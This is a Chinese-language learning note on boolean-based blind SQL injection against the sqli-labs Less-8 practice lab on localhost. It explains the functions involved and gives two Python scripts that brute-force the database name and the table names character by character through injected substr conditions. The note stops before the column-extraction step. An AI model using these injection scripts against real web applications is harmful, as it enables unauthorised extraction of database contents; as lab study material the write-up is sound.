布尔盲注学习
页面只会返回True和False两种结果
以这关为例,当结果为True时返回You are in...,结果为False时无回显结果
布尔盲注需要用到的主要函数
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
第一步:爆数据库长度
长度大于7时返回True,大于8时无回显,说明数据库名长度为8位
第二步:爆数据库名字
这里我用脚本爆,手注太多啦
##sql盲注
import requests
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://localhost/sqli/Less-8/?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('database_name:',name)
第三步:爆数据表
##sql盲注
import requests
name = ''
for k in range(0,5):
for j in range(1,10):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://localhost/sqli/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'" %(k,j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('table_name:',name)
第四步:爆字段
字段还不会爆...